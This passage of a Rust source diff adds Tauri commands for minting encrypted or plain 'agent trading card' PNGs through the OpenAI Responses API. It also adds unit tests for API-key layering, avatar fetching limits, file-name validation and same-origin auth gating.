+///   spawn time. The mint command re-reads the config from disk on every
+///   mint, so minting needs no restart — and a card setup must never disrupt
+///   running agents as a side effect. Agents pick the key up naturally on
+///   their next (re)start.
+/// - **Read-modify-write of the latest on-disk config.** The config is
+///   re-read immediately before the single-key insert + write (under the
+///   managed-agents store lock, which serializes it against the other card
+///   and agent-store commands), so a settings save that landed after this
+///   dialog opened is not clobbered with a stale dialog-open snapshot.
+///   (The general settings editor performs its own whole-config write; as
+///   today, the last writer wins between the two surfaces.)
+///
+/// Standard global-config validation still applies (POSIX key shape,
+/// reserved-key reject, size caps) — this is not a validation bypass.
+#[tauri::command]
+pub fn card_mint_save_openai_key(
+    key: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    let key = key.trim().to_string();
+    if key.is_empty() {
+        return Err("API key cannot be empty.".to_string());
+    }
+
+    let _store_guard = state
+        .managed_agents_store_lock
+        .lock()
+        .map_err(|e| e.to_string())?;
+
+    let mut config = load_global_agent_config(&app)?;
+    config.env_vars.insert("OPENAI_API_KEY".to_string(), key);
+    validate_global_config(&config)?;
+    save_global_agent_config(&app, &config)
+}
+
+/// Report which env layer resolves the OpenAI key for a card mint of agent
+/// `id` — same layering as `mint_agent_card`. Delegates to `resolve_key_layer`
+/// for the classification; see that helper for the return-value contract.
+#[tauri::command]
+pub fn card_mint_key_status(
+    id: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<String, String> {
+    let _store_guard = state
+        .managed_agents_store_lock
+        .lock()
+        .map_err(|e| e.to_string())?;
+
+    let instances = load_managed_agents(&app)?;
+    let definitions = load_agent_definitions(&app)?;
+    let (record, _) = resolve_from_lists(&id, &instances, &definitions)?;
+
+    let global = load_global_agent_config(&app).unwrap_or_default();
+    let personas = load_personas(&app).unwrap_or_default();
+    let persona_env = record
+        .persona_id
+        .as_deref()
+        .and_then(|pid| personas.iter().find(|p| p.id == pid))
+        .map(|p| p.env_vars.clone())
+        .unwrap_or_default();
+
+    Ok(resolve_key_layer(
+        &global.env_vars,
+        &persona_env,
+        &record.env_vars,
+        std::env::var("OPENAI_API_KEY").ok(),
+    )
+    .to_string())
+}
+
+/// Mint a trading card for the agent identified by `id` (instance pubkey,
+/// instance slug, or definition slug — same resolution as snapshot export).
+///
+/// When `lock` is true the embedded manifest is NIP-44-encrypted to the
+/// (owner, agent) pair per the locked-envelope contract — this requires a
+/// linked agent instance (the second key endpoint); bare definitions cannot
+/// be locked.
+///
+/// When `memory_level` is `"core"` or `"everything"`, the owner's decrypted
+/// memory for the agent is embedded in the manifest — same levels and fetch
+/// as snapshot export. The memory source is always the resolved instance
+/// itself (derived, never caller-supplied), so it requires a linked instance;
+/// bare definitions can only mint `"none"` (the default).
+///
+/// Returns the final, chunk-injected, round-trip-verified `.agent.png` bytes.
+/// Reroll = call again; the command holds no session state.
+#[tauri::command]
+pub async fn mint_agent_card(
+    id: String,
+    style_notes: Option<String>,
+    lock: Option<bool>,
+    memory_level: Option<String>,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<MintedCard, String> {
+    let lock = lock.unwrap_or(false);
+    let memory_level = parse_memory_level(memory_level.as_deref().unwrap_or(""))?;
+    // ── Resolve the record + API key under lock ──────────────────────────────
+    let (mut record, is_definition, api_key, base_url) = {
+        let _store_guard = state
+            .managed_agents_store_lock
+            .lock()
+            .map_err(|e| e.to_string())?;
+
+        let instances = load_managed_agents(&app)?;
+        let definitions = load_agent_definitions(&app)?;
+        let (record, is_definition) =
+            resolve_from_lists(&id, &instances, &definitions).map(|(r, d)| (r.clone(), d))?;
+
+        let global = load_global_agent_config(&app).unwrap_or_default();
+        let personas = load_personas(&app).unwrap_or_default();
+        let persona_env = record
+            .persona_id
+            .as_deref()
+            .and_then(|pid| personas.iter().find(|p| p.id == pid))
+            .map(|p| p.env_vars.clone())
+            .unwrap_or_default();
+
+        let api_key = resolve_env_from_layers(
+            "OPENAI_API_KEY",
+            &global.env_vars,
+            &persona_env,
+            &record.env_vars,
+            std::env::var("OPENAI_API_KEY").ok(),
+        )
+        .ok_or_else(|| {
+            format!(
+                "{NO_KEY_ERROR_PREFIX} No OPENAI_API_KEY found. Add one in the agent's \
+                 environment variables or global agent settings to mint cards."
+            )
+        })?;
+        let base_url = resolve_env_from_layers(
+            "OPENAI_BASE_URL",
+            &global.env_vars,
+            &persona_env,
+            &record.env_vars,
+            std::env::var("OPENAI_BASE_URL").ok(),
+        );
+
+        (record, is_definition, api_key, base_url)
+    };
+
+    // ── Locking needs its two exact key endpoints up front, BEFORE the
+    //    API spend: the owner identity secret and the agent instance pubkey.
+    let lock_keys = if lock {
+        if is_definition {
+            return Err(
+                "Locked cards need a linked agent instance — this persona has never been \
+                 started, so there is no agent key to lock to."
+                    .to_string(),
+            );
+        }
+        let owner_keys = state.signing_keys()?;
+        // Same canonical check the envelope decoder enforces (incl. curve
+        // validation) — a non-point record pubkey must fail BEFORE the API
+        // spend, not at post-mint encryption.
+        let agent_pubkey = crate::managed_agents::agent_snapshot_envelope::parse_canonical_pubkey(
+            "agentPubkey",
+            &record.pubkey,
+        )
+        .map_err(|_| {
+            "Agent record has an invalid pubkey (not a canonical x-only key).".to_string()
+        })?;
+        if owner_keys.public_key() == agent_pubkey {
+            return Err("Cannot lock a card to itself: owner and agent keys match.".to_string());
+        }
+        Some((owner_keys, agent_pubkey))
+    } else {
+        None
+    };
+
+    // ── Memory needs a keyed instance, resolved up front BEFORE the API
+    //    spend — the memory source is always the resolved instance itself
+    //    (derived, never caller-supplied), so cross-agent pairing cannot be
+    //    expressed. A failed fetch fails the mint here, not after payment.
+    let memory_entries = if memory_level == MemoryLevel::None {
+        Vec::new()
+    } else {
+        if is_definition {
+            return Err(
+                "Cards with memory need a linked agent instance — this persona has never \
+                 been started, so there is no agent memory to include."
+                    .to_string(),
+            );
+        }
+        let listing = get_agent_memory(record.pubkey.clone(), app.clone(), state.clone()).await?;
+        memory_entries_from_listing(listing, memory_level)
+    };
+
+    let display_name = record
+        .display_name
+        .clone()
+        .unwrap_or_else(|| record.name.clone());
+
+    // ── Prefer the agent's own kind:0 profile picture ────────────────────────
+    // The record's `avatar_url` is a stale presentation snapshot: with
+    // agent-managed profiles the agent updates its own kind:0 `picture` and
+    // desktop reconciliation is disabled (`agent_settings.rs`), so the relay
+    // profile — not the local record — is the live source of truth for how the
+    // agent looks. Definitions have no keypair and thus no kind:0; they keep
+    // the record's avatar. A relay error fails the mint here, BEFORE the API
+    // spend (same fail-early rule as the key/memory guards above) — minting
+    // with the wrong face wastes the spend it was supposed to protect.
+    if !is_definition {
+        let relay_url = crate::relay::effective_agent_relay_url(
+            &record.relay_url,
+            &crate::relay::relay_ws_url_with_override(&state),
+        );
+        let profile = crate::relay::query_agent_profile(&state, &relay_url, &record.pubkey)
+            .await
+            .map_err(|e| format!("Could not read the agent's profile for its avatar: {e}"))?;
+        record.avatar_url = preferred_avatar_url(
+            profile.and_then(|info| info.picture),
+            record.avatar_url.take(),
+        );
+    }
+
+    // ── Resolve avatar bytes (data URL, else fetch) ──────────────────────────
+    let avatar_bytes = match record.avatar_url.as_deref() {
+        Some(url) if url.starts_with("data:") => decode_avatar_data_url(url)
+            .ok_or_else(|| "Agent avatar data URL could not be decoded.".to_string())?,
+        Some(url) if url.starts_with("http://") || url.starts_with("https://") => {
+            // Relay-hosted avatars (kind:0 pictures under the relay's /media/)
+            // may require Blossom get-auth (`require_media_get_auth`). Mint the
+            // header ONLY for same-origin URLs so the token never leaves the
+            // relay (same contract as `media_download.rs`).
+            let relay_base = crate::relay::relay_api_base_url_with_override(&state);
+            let auth = is_same_origin(url, &relay_base)
+                .then(|| crate::commands::media::mint_media_get_auth(&state, &relay_base))
+                .flatten();
+            fetch_avatar(url, auth.as_deref()).await?
+        }
+        _ => {
+            return Err(
+                "Agent has no avatar image. Set an avatar before minting a card.".to_string(),
+            )
+        }
+    };
+
+    // ── Build the manifest now (with any requested memory) so a broken agent
+    //    fails before we spend minutes on the API call. ───────────────────────
+    let manifest_avatar = manifest_avatar_bytes(
+        lock_keys.is_some(),
+        &avatar_bytes,
+        record.avatar_url.as_deref(),
+    )?;
+    let snapshot = build_snapshot(
+        &record,
+        memory_level,
+        memory_entries,
+        manifest_avatar.as_deref(),
+    );
+
+    // ── One Responses API call ───────────────────────────────────────────────
+    // For locked mints, prove the manifest (including any embedded memory)
+    // fits the NIP-44 plaintext cap BEFORE spending minutes on the API call
+    // (same fail-early rule as the memory guard above).
+    if lock_keys.is_some() {
+        let json_len =
+            crate::managed_agents::agent_snapshot::encode_snapshot_json(&snapshot)?.len();
+        if json_len > buzz_core_pkg::engram::NIP44_PLAINTEXT_MAX {
+            let hint = if memory_level == MemoryLevel::None {
+                "Reduce the avatar size or mint an unlocked card."
+            } else {
+                "Include less memory, reduce the avatar size, or mint an unlocked card."
+            };
+            return Err(format!(
+                "Agent manifest is too large to lock ({json_len} bytes; the encrypted \
+                 format caps at {}). {hint}",
+                buzz_core_pkg::engram::NIP44_PLAINTEXT_MAX
+            ));
+        }
+    }
+    let instructions = build_card_instructions(
+        &display_name,
+        snapshot.definition.system_prompt.as_deref().unwrap_or(""),
+        style_notes.as_deref().unwrap_or(""),
+    );
+    let body = serde_json::json!({
+        "model": DESIGNER_MODEL,
+        "reasoning": {"effort": "high"},
+        "instructions": "You are a senior TCG card designer and MTG rules editor.",
+        "input": [{
+            "role": "user",
+            "content": [
+                {"type": "input_text", "text": instructions},
+                {"type": "input_image", "image_url": image_data_url(CARD_TEMPLATE_PNG, 1024)?},
+                {"type": "input_image", "image_url": image_data_url(&avatar_bytes, 1024)?},
+            ],
+        }],
+        "tools": [{
+            "type": "image_generation",
+            "model": IMAGE_MODEL,
+            "quality": "high",
+            "size": "1024x1536",
+            "output_format": "png",
+        }],
+        "tool_choice": "required",
+    });
+
+    let client = reqwest::Client::builder()
+        .timeout(std::time::Duration::from_secs(MINT_TIMEOUT_SECS))
+        .build()
+        .map_err(|e| format!("Failed to build HTTP client: {e}"))?;
+    let resp = client
+        .post(responses_url(base_url))
+        .bearer_auth(&api_key)
+        .json(&body)
+        .send()
+        .await
+        .map_err(|e| format!("Card mint request failed: {e}"))?;
+
+    let status = resp.status();
+    let payload: serde_json::Value = resp
+        .json()
+        .await
+        .map_err(|e| format!("Card mint response was not JSON: {e}"))?;
+    if !status.is_success() {
+        // Never echo the request (it embeds nothing secret, but keep the
+        // failure surface small); the OpenAI error body is safe to surface.
+        let detail = payload
+            .get("error")
+            .and_then(|e| e.get("message"))
+            .and_then(|m| m.as_str())
+            .unwrap_or("unknown error");
+        return Err(format!("Card mint failed (HTTP {status}): {detail}"));
+    }
+
+    let (image_b64, designer_notes) = extract_card_output(&payload)?;
+    let raw_card = STANDARD
+        .decode(image_b64.as_bytes())
+        .map_err(|e| format!("Generated image was not valid base64: {e}"))?;
+
+    // ── Resize to 1500-wide, inject chunk via the existing encoder ──────────
+    let card_img = image::load_from_memory(&raw_card)
+        .map_err(|e| format!("Generated image could not be decoded: {e}"))?;
+    let scale = CARD_WIDTH as f64 / card_img.width() as f64;
+    let card_img = card_img.resize(
+        CARD_WIDTH,
+        (card_img.height() as f64 * scale).round() as u32,
+        image::imageops::FilterType::Lanczos3,
+    );
+    let mut card_png = Vec::new();
+    card_img
+        .write_to(
+            &mut std::io::Cursor::new(&mut card_png),
+            image::ImageFormat::Png,
+        )
+        .map_err(|e| format!("Failed to encode card PNG: {e}"))?;
+
+    let final_bytes = match &lock_keys {
+        None => encode_snapshot_png(&snapshot, Some(&card_png))
+            .map_err(|e| format!("Failed to embed agent snapshot in card: {e}"))?,
+        Some((owner_keys, agent_pubkey)) => {
+            encode_locked_snapshot_png(&snapshot, owner_keys, agent_pubkey, Some(&card_png))
+                .map_err(|e| format!("Failed to embed locked agent snapshot in card: {e}"))?
+        }
+    };
+
+    // ── Verify: size ceiling + round-trip on the FINAL bytes ────────────────
+    // Locked cards: extract the actual chunk, parse the envelope, decrypt
+    // with the owner key, then compare the logical manifest (ciphertext is
+    // nondeterministic — never compare bytes).
+    validate_snapshot_encode_size(final_bytes.len(), true)?;
+    let decoded = match &lock_keys {
+        None => decode_snapshot_png(&final_bytes)
+            .map_err(|e| format!("Card failed round-trip verification: {e}"))?,
+        Some((owner_keys, _)) => {
+            let payload = extract_chunk_payload_png(&final_bytes)
+                .map_err(|e| format!("Card failed round-trip verification: {e}"))?;
+            match parse_chunk_payload(&payload)
+                .map_err(|e| format!("Card failed round-trip verification: {e}"))?
+            {
+                ChunkPayload::Locked(envelope) => {
+                    decrypt_envelope(&envelope, owner_keys.secret_key())
+                        .map_err(|e| format!("Card failed round-trip verification: {e}"))?
+                }
+                ChunkPayload::Plain(_) => {
+                    return Err(
+                        "Card round-trip verification failed: expected a locked envelope."
+                            .to_string(),
+                    )
+                }
+            }
+        }
+    };
+    if decoded != snapshot {
+        return Err("Card round-trip verification failed: manifest mismatch.".to_string());
+    }
+
+    let slug = crate::util::slugify(&display_name, "agent", 50);
+    let minted = MintedCard {
+        card_png_base64: STANDARD.encode(&final_bytes),
+        file_name: format!("{slug}.agent.png"),
+        designer_notes,
+        locked: lock_keys.is_some(),
+        memory_level,
+    };
+
+    // Archive best-effort: the mint is already paid for and verified, so a
+    // failed archive write logs and continues — it never fails the mint.
+    if let Err(e) = archive_minted_card(&app, &id, &display_name, &minted, &final_bytes) {
+        eprintln!("buzz-desktop: card-archive: failed to archive minted card: {e}");
+    }
+
+    Ok(minted)
+}
+
+/// The avatar the mint should use: the agent's kind:0 `picture` when one is
+/// published and non-blank, else the local record's `avatar_url`.
+///
+/// Pure so the precedence is unit-testable without a relay: a blank or
+/// whitespace-only `picture` must NOT shadow a real record avatar.
+fn preferred_avatar_url(
+    kind0_picture: Option<String>,
+    record_avatar_url: Option<String>,
+) -> Option<String> {
+    kind0_picture
+        .filter(|p| !p.trim().is_empty())
+        .or(record_avatar_url)
+}
+
+/// The avatar bytes the card manifest should inline.
+///
+/// Unlocked cards must carry the agent's REAL avatar inline: the PNG body is
+/// the generated card artwork, and the importer only adopts the body as the
+/// avatar when the manifest carries no inline bytes (`import.rs`) — without
+/// these bytes an imported agent would wear the card as its face. Downscaled
+/// to [`MANIFEST_AVATAR_MAX_DIM`] so the manifest tEXt chunk stays small.
+///
+/// Locked cards keep the data-URL-only behavior: the whole manifest must fit
+/// the NIP-44 plaintext cap (65 KB), which cannot carry inline pixels, and a
+/// locked envelope never reaches the import body override anyway.
+fn manifest_avatar_bytes(
+    locked: bool,
+    avatar_bytes: &[u8],
+    record_avatar_url: Option<&str>,
+) -> Result<Option<Vec<u8>>, String> {
+    if locked {
+        return Ok(decode_avatar_data_url(record_avatar_url.unwrap_or("")));
+    }
+    png_bytes_resized(avatar_bytes, MANIFEST_AVATAR_MAX_DIM)
+        .map(Some)
+        .map_err(|e| format!("Failed to inline the agent avatar into the card manifest: {e}"))
+}
+
+/// True when `url` shares an origin (scheme, host, port) with `relay_base`.
+///
+/// Gate for attaching the minted media get-auth header — the token must never
+/// be sent to a non-relay origin (same contract as `validate_download_url` in
+/// `media_download.rs`, but non-fatal: a foreign origin just fetches
+/// unauthenticated instead of failing the mint).
+fn is_same_origin(url: &str, relay_base: &str) -> bool {
+    match (url::Url::parse(url), url::Url::parse(relay_base)) {
+        (Ok(u), Ok(b)) => u.origin() == b.origin(),
+        _ => false,
+    }
+}
+
+/// Fetch an avatar over HTTP with a hard size cap.
+///
+/// `auth` is an optional pre-minted Blossom get-auth header value, attached
+/// verbatim — the caller is responsible for only supplying it for
+/// relay-origin URLs. Redirects are not followed when auth is present
+/// (redirect-hop guard, same rule as `media_download.rs`).
+///
+/// The cap bounds network and memory, not just the final buffer: the
+/// Content-Length header is checked before any body bytes are read, and the
+/// body is streamed with a running count so a missing or dishonest header
+/// still cannot exceed the cap (same contract as `media_download.rs`).
+async fn fetch_avatar(url: &str, auth: Option<&str>) -> Result<Vec<u8>, String> {
+    use futures_util::StreamExt;
+
+    let mut builder = reqwest::Client::builder().timeout(std::time::Duration::from_secs(30));
+    if auth.is_some() {
+        // Never let a relay 3xx forward the auth header across origins.
+        builder = builder.redirect(reqwest::redirect::Policy::none());
+    }
+    let client = builder
+        .build()
+        .map_err(|e| format!("Failed to build HTTP client: {e}"))?;
+    let mut req = client.get(url);
+    if let Some(auth) = auth {
+        req = req.header("authorization", auth);
+    }
+    let resp = req
+        .send()
+        .await
+        .map_err(|e| format!("Failed to fetch agent avatar: {e}"))?;
+    if !resp.status().is_success() {
+        return Err(format!("Avatar fetch failed: HTTP {}", resp.status()));
+    }
+
+    if let Some(content_length) = resp.content_length() {
+        if content_length > MAX_AVATAR_FETCH_BYTES as u64 {
+            return Err("Agent avatar is too large to use as card input.".to_string());
+        }
+    }
+
+    let mut bytes = Vec::new();
+    let mut stream = resp.bytes_stream();
+    while let Some(chunk) = stream.next().await {
+        let chunk = chunk.map_err(|e| format!("Failed to read avatar bytes: {e}"))?;
+        append_within_avatar_cap(&mut bytes, &chunk)?;
+    }
+    Ok(bytes)
+}
+
+/// Append a body chunk to the avatar buffer, rejecting before the append if
+/// the total would cross `MAX_AVATAR_FETCH_BYTES`. Split out so the cap
+/// boundary is unit-testable without an HTTP server.
+fn append_within_avatar_cap(buf: &mut Vec<u8>, chunk: &[u8]) -> Result<(), String> {
+    if buf.len() + chunk.len() > MAX_AVATAR_FETCH_BYTES {
+        return Err("Agent avatar is too large to use as card input.".to_string());
+    }
+    buf.extend_from_slice(chunk);
+    Ok(())
+}
+
+/// Save previously minted card bytes to disk via the OS save dialog.
+///
+/// Re-validates the bytes (chunk parses as a plain manifest or a
+/// structurally valid locked envelope, size within the import ceiling) so a
+/// corrupted preview can never be written as a `.agent.png`. No decryption
+/// happens here — the mint already round-trip-verified with the real key.
+#[tauri::command]
+pub async fn save_agent_card(
+    card_png_base64: String,
+    file_name: String,
+    app: AppHandle,
+) -> Result<bool, String> {
+    let bytes = STANDARD
+        .decode(card_png_base64.as_bytes())
+        .map_err(|e| format!("Card bytes were not valid base64: {e}"))?;
+    validate_snapshot_encode_size(bytes.len(), true)?;
+    let payload = extract_chunk_payload_png(&bytes)
+        .map_err(|e| format!("Refusing to save: card failed snapshot validation: {e}"))?;
+    parse_chunk_payload(&payload)
+        .map_err(|e| format!("Refusing to save: card failed snapshot validation: {e}"))?;
+
+    let safe_name = if file_name.ends_with(".agent.png") && !file_name.contains(['/', '\\']) {
+        file_name
+    } else {
+        "card.agent.png".to_string()
+    };
+    save_bytes_with_dialog(&app, &safe_name, "Agent card", &["png"], &bytes).await
+}
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+#[cfg(test)]
+mod tests;
diff --git a/desktop/src-tauri/src/commands/personas/card/tests.rs b/desktop/src-tauri/src/commands/personas/card/tests.rs
new file mode 100644
index 0000000000..407ab44974
--- /dev/null
+++ b/desktop/src-tauri/src/commands/personas/card/tests.rs
@@ -0,0 +1,399 @@
+//! Unit tests for `card.rs` — split into a child module file so the parent
+//! stays under the 1000-line gate (same layout as `snapshot/tests.rs`).
+
+use super::*;
+use std::collections::BTreeMap;
+
+#[test]
+fn archive_file_name_validation_rejects_escapes() {
+    assert!(validate_archive_file_name("eva-1234.agent.png").is_ok());
+    for bad in [
+        "../escape.agent.png",
+        "sub/dir.agent.png",
+        "sub\\dir.agent.png",
+        "not-a-card.png",
+        "plain.json",
+        "",
+    ] {
+        assert!(
+            validate_archive_file_name(bad).is_err(),
+            "expected rejection: {bad:?}"
+        );
+    }
+}
+
+#[test]
+fn card_template_decodes_with_expected_shape() {
+    // The embedded template is generation input only, but a corrupt or
+    // accidentally swapped asset should fail the build's test gate, not a
+    // user's first mint.
+    let img = image::load_from_memory(CARD_TEMPLATE_PNG).expect("template must decode");
+    // 2:3-ish portrait frame.
+    assert!(img.height() > img.width(), "template must be portrait");
+    assert!(img.width() >= 512, "template unexpectedly small");
+}
+
+#[test]
+fn key_resolution_layering_record_wins() {
+    let mut global = BTreeMap::new();
+    global.insert("OPENAI_API_KEY".to_string(), "global".to_string());
+    let mut persona = BTreeMap::new();
+    persona.insert("OPENAI_API_KEY".to_string(), "persona".to_string());
+    let mut record = BTreeMap::new();
+    record.insert("OPENAI_API_KEY".to_string(), "record".to_string());
+
+    assert_eq!(
+        resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).as_deref(),
+        Some("record")
+    );
+    record.clear();
+    assert_eq!(
+        resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).as_deref(),
+        Some("persona")
+    );
+    persona.clear();
+    assert_eq!(
+        resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).as_deref(),
+        Some("global")
+    );
+    global.clear();
+    assert_eq!(
+        resolve_env_from_layers(
+            "OPENAI_API_KEY",
+            &global,
+            &persona,
+            &record,
+            Some("process".to_string())
+        )
+        .as_deref(),
+        Some("process")
+    );
+    assert!(resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).is_none());
+}
+
+/// Prove that `resolve_key_layer` classifies layers in the same precedence
+/// order that `mint_agent_card`/`resolve_env_from_layers` uses, so the dialog
+/// update path is only offered when writing global will actually win.
+#[test]
+fn key_status_layer_matches_mint_resolution_priority() {
+    let key = "OPENAI_API_KEY";
+    let mut global = BTreeMap::new();
+    let mut persona = BTreeMap::new();
+    let mut record = BTreeMap::new();
+
+    // No key anywhere → "none"
+    assert_eq!(resolve_key_layer(&global, &persona, &record, None), "none");
+
+    // Only global → "global" (the only writable layer)
+    global.insert(key.to_string(), "sk-global".to_string());
+    assert_eq!(
+        resolve_key_layer(&global, &persona, &record, None),
+        "global"
+    );
+    // mint resolution also picks global when record and persona are empty
+    assert_eq!(
+        resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(),
+        Some("sk-global")
+    );
+
+    // Persona overrides global → status must report "persona", NOT "global"
+    persona.insert(key.to_string(), "sk-persona".to_string());
+    assert_eq!(
+        resolve_key_layer(&global, &persona, &record, None),
+        "persona"
+    );
+    // mint would use the persona key
+    assert_eq!(
+        resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(),
+        Some("sk-persona")
+    );
+    // Writing to global would NOT change what mint resolves — status correctly
+    // returns "persona" so the dialog shows a read-only redirect instead.
+    let mut global_updated = global.clone();
+    global_updated.insert(key.to_string(), "sk-new-global".to_string());
+    assert_eq!(
+        resolve_env_from_layers(key, &global_updated, &persona, &record, None).as_deref(),
+        Some("sk-persona"),
+        "writing global must not change resolution when persona key exists"
+    );
+
+    // Agent record overrides both → status must report "agent"
+    record.insert(key.to_string(), "sk-agent".to_string());
+    assert_eq!(resolve_key_layer(&global, &persona, &record, None), "agent");
+    assert_eq!(
+        resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(),
+        Some("sk-agent")
+    );
+
+    // Process env is last resort (only when all map layers are empty)
+    let empty = BTreeMap::new();
+    assert_eq!(
+        resolve_key_layer(&empty, &empty, &empty, Some("sk-process".to_string())),
+        "process"
+    );
+
+    // Blank values are skipped — process wins over a whitespace global
+    let mut blank_global = BTreeMap::new();
+    blank_global.insert(key.to_string(), "   ".to_string());
+    assert_eq!(
+        resolve_key_layer(
+            &blank_global,
+            &empty,
+            &empty,
+            Some("sk-process".to_string())
+        ),
+        "process"
+    );
+}
+
+#[test]
+fn key_resolution_skips_blank_values() {
+    let mut record = BTreeMap::new();
+    record.insert("OPENAI_API_KEY".to_string(), "   ".to_string());
+    let mut persona = BTreeMap::new();
+    persona.insert("OPENAI_API_KEY".to_string(), "persona".to_string());
+    assert_eq!(
+        resolve_env_from_layers("OPENAI_API_KEY", &BTreeMap::new(), &persona, &record, None)
+            .as_deref(),
+        Some("persona")
+    );
+}
+
+#[test]
+fn responses_url_default_and_override() {
+    assert_eq!(responses_url(None), "https://api.openai.com/v1/responses");
+    // Trailing slashes must not produce a double-slash path.
+    assert_eq!(
+        responses_url(Some("https://proxy.example/v1/".to_string())),
+        "https://proxy.example/v1/responses"
+    );
+    assert_eq!(
+        responses_url(Some("https://proxy.example/v1".to_string())),
+        "https://proxy.example/v1/responses"
+    );
+}
+
+#[test]
+fn instructions_pin_style_match_default_and_owner_primacy() {
+    let base = build_card_instructions("Eva", "leads the team", "");
+    assert!(base.contains("match input image 2's art style EXACTLY"));
+    assert!(base.contains("\"Eva\""));
+    assert!(!base.contains("OWNER'S DIRECTIONS"));
+
+    let directed = build_card_instructions("Eva", "leads the team", "make it stormy");
+    // Owner directions take primacy over style defaults...
+    assert!(directed.contains("OWNER'S DIRECTIONS"));
+    assert!(directed.contains("make it stormy"));
+    assert!(directed.contains("override the default art-style and copy guidance"));
+    // ...but the fixed contract survives: frame, style anchor (as an
+    // overridable default), and text-fidelity requirements stay present.
+    assert!(directed.contains("match input image 2's art style EXACTLY"));
+    assert!(directed.contains("cannot change the frame, layout, or"));
+    assert!(directed.contains("Render all text with perfect fidelity"));
+    // Card-text direction is an explicitly named capability, and the
+    // owner-wording rule acknowledges the fixed 220-char text-box limit
+    // (no mutually impossible "verbatim" vs "under 220 chars" pair).
+    assert!(directed.contains("card text"));
+    assert!(directed.contains("use their wording within the 220-character text-box limit"));
+}
+
+#[test]
+fn extract_card_output_happy_path_and_missing_image() {
+    let ok = serde_json::json!({
+        "output": [
+            {"type": "reasoning"},
+            {"type": "image_generation_call", "result": "aW1n"},
+            {"type": "message", "content": [
+                {"type": "output_text", "text": "notes here"}
+            ]}
+        ]
+    });
+    let (img, notes) = extract_card_output(&ok).unwrap();
+    assert_eq!(img, "aW1n");
+    assert_eq!(notes, "notes here");
+
+    let missing = serde_json::json!({"output": [{"type": "message", "content": []}]});
+    let err = extract_card_output(&missing).unwrap_err();
+    assert!(err.contains("No image"), "{err}");
+
+    let no_output = serde_json::json!({});
+    assert!(extract_card_output(&no_output).is_err());
+}
+
+#[test]
+fn kind0_picture_wins_over_record_avatar_unless_blank() {
+    let some = |s: &str| Some(s.to_string());
+    // Published picture wins.
+    assert_eq!(
+        preferred_avatar_url(some("https://relay/media/k0.png"), some("data:image/png;x")),
+        some("https://relay/media/k0.png")
+    );
+    // No profile / no picture: record avatar survives.
+    assert_eq!(
+        preferred_avatar_url(None, some("data:image/png;x")),
+        some("data:image/png;x")
+    );
+    // Blank or whitespace picture must not shadow a real avatar.
+    assert_eq!(
+        preferred_avatar_url(some(""), some("data:image/png;x")),
+        some("data:image/png;x")
+    );
+    assert_eq!(
+        preferred_avatar_url(some("  "), some("data:image/png;x")),
+        some("data:image/png;x")
+    );
+    // Nothing anywhere: None (caller surfaces the "no avatar" error).
+    assert_eq!(preferred_avatar_url(None, None), None);
+}
+
+#[test]
+fn unlocked_manifest_inlines_real_avatar_bytes_downscaled() {
+    // 700px source (over MANIFEST_AVATAR_MAX_DIM) in a solid color.
+    let avatar = image::DynamicImage::ImageRgba8(image::RgbaImage::from_pixel(
+        700,
+        700,
+        image::Rgba([9, 120, 33, 255]),
+    ));
+    let mut avatar_png = std::io::Cursor::new(Vec::new());
+    avatar
+        .write_to(&mut avatar_png, image::ImageFormat::Png)
+        .unwrap();
+
+    let inlined = manifest_avatar_bytes(false, avatar_png.get_ref(), None)
+        .unwrap()
+        .expect("unlocked mints must inline the real avatar");
+    let img = image::load_from_memory(&inlined).unwrap();
+    assert_eq!(
+        (img.width(), img.height()),
+        (MANIFEST_AVATAR_MAX_DIM, MANIFEST_AVATAR_MAX_DIM)
+    );
+    assert_eq!(img.to_rgba8().get_pixel(0, 0).0, [9, 120, 33, 255]);
+
+    // Undecodable avatar bytes fail the mint (pre-spend), never silently
+    // produce a card whose import would wear the artwork as a face.
+    assert!(manifest_avatar_bytes(false, b"not a png", None).is_err());
+}
+
+#[test]
+fn locked_manifest_keeps_data_url_only_avatar() {
+    // Locked mints must not inline fetched bytes (NIP-44 cap): only a record
+    // data URL carries over, exactly as before.
+    let unused = [0u8; 4];
+    assert_eq!(
+        manifest_avatar_bytes(true, &unused, Some("data:image/png;base64,aGk="))
+            .unwrap()
+            .as_deref(),
+        Some(b"hi".as_slice())
+    );
+    assert_eq!(
+        manifest_avatar_bytes(true, &unused, Some("https://relay/media/a.png")).unwrap(),
+        None
+    );
+    assert_eq!(manifest_avatar_bytes(true, &unused, None).unwrap(), None);
+}
+
+#[test]
+fn media_get_auth_gate_is_same_origin_only() {
+    // The minted Blossom get-auth header may only travel to the relay's own
+    // origin — scheme, host, and port all count (same contract as
+    // `validate_download_url` in `media_download.rs`).
+    let relay = "https://relay.example.com";
+    assert!(is_same_origin(
+        "https://relay.example.com/media/abc.png",
+        relay
+    ));
+    // Different host, scheme, or port: no auth.
+    assert!(!is_same_origin(
+        "https://evil.example.com/media/abc.png",
+        relay
+    ));
+    assert!(!is_same_origin(
+        "http://relay.example.com/media/abc.png",
+        relay
+    ));
+    assert!(!is_same_origin(
+        "https://relay.example.com:8443/media/abc.png",
+        relay
+    ));
+    // Unparseable inputs fail closed.
+    assert!(!is_same_origin("not a url", relay));
+    assert!(!is_same_origin(
+        "https://relay.example.com/x",
+        "also not a url"
+    ));
+    // Explicit port on both sides matches.
+    assert!(is_same_origin(
+        "http://localhost:3100/media/abc.png",
+        "http://localhost:3100"
+    ));
+}
+
+#[test]
+fn avatar_cap_rejects_before_appending_crossing_chunk() {
+    // The streaming accumulator must reject a chunk that would cross the
+    // cap BEFORE buffering it — this is what bounds memory when
+    // Content-Length is missing or dishonest.
+    let mut buf = vec![0u8; MAX_AVATAR_FETCH_BYTES - 1];
+    assert!(append_within_avatar_cap(&mut buf, &[0u8]).is_ok());
+    assert_eq!(buf.len(), MAX_AVATAR_FETCH_BYTES);
+    // Exactly at the cap: one more byte must fail and not grow the buffer.
